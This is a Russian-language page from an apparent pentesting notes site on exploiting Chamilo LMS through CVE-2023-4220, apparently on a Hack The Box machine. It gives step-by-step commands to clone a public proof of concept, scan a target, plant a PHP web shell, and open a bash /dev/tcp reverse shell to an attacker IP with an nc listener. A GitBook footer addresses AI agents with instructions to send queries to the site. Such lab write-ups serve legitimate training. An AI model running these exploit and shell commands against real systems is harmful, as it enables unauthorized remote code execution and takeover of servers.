> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/cms/chamilo-cms-exploitation.md).

# Chamilo

<figure><img src="/files/fc7980b8712fd6e0cf793c84888ad561174597a9" alt=""><figcaption></figcaption></figure>

## Уязвимость Chamilo /\[CVE-2023-4220]

Chamilo уязвима к CVE-2023-4220, что позволяет выполнить удалённое выполнение кода (RCE). Используйте следующий публичный proof of concept:

{% embed url="<https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc>" %}

#### Склонируйте репозиторий GitHub :

```bash
git clone https://github.com/m3m0o/chamilo-lms-unauthenticated-big-upload-rce-poc
cd chamilo-lms-unauthenticated-big-upload-rce-poc
```

2. Выполните проверку, чтобы подтвердить, уязвима ли цель:

```bash
python3 main.py -u http://example.com/chamilo -a scan
```

<figure><img src="/files/1a2088df92fbcd1a24b5a089aa1a7938a75a01dd" alt=""><figcaption></figcaption></figure>

### Веб-шелл:

Если уязвимость присутствует, внедрите **PHP веб-шелл** в Chamilo:

```bash
python3 main.py -u http://lms.permx.htb/ -a webshell
```

<figure><img src="/files/2aa873c68be4e292553690847d5455c89cb39f12" alt=""><figcaption></figcaption></figure>

После внедрения веб-шелла на целевой системе можно выполнять команды.

<figure><img src="/files/9391eaa37df4439f7b68ef42ab5ab28df8015081" alt=""><figcaption></figcaption></figure>

### Обратный шелл :

Чтобы установить обратный шелл и получить доступ к машине, выполните следующую команду в терминале:

```url
bash -c "bash -i >%26 /dev/tcp/10.10.14.46/4444 0>%261"
```

Затем запустите слушатель на порту 4444:

```bash
nc -nlvp 4444
```

<figure><img src="/files/1eede8350a5e8bacdc3ca46ca648c03dc3ce90e4" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/cms/chamilo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
